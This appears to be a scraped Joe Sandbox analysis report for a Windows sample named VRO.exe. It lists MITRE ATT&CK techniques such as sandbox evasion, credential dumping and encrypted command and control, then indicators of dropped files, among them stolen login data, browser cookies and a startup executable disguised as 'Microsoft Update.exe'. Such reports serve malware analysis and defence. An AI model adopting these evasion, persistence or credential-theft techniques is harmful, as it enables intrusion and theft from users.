Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report VRO.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\Public\Documents\638724365355223764\Default_LoginDataTemp.db

C:\Users\Public\Documents\638724365355223764\Files\D\hwcompat.txt

C:\Users\Public\Documents\Backup_[United States]_8.46.123.189_[1401].zip

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\DevToolsActivePort

C:\Users\user\AppData\Local\Temp\tmpeylteu.tmp

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe:Zone.Identifier

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

C:\Users\user\Desktop\MyApp\svchost.dll

C:\Users\user\Desktop\e_sqlite3.dll

Static File Info

General

File Icon

Windows Analysis Report
VRO.exe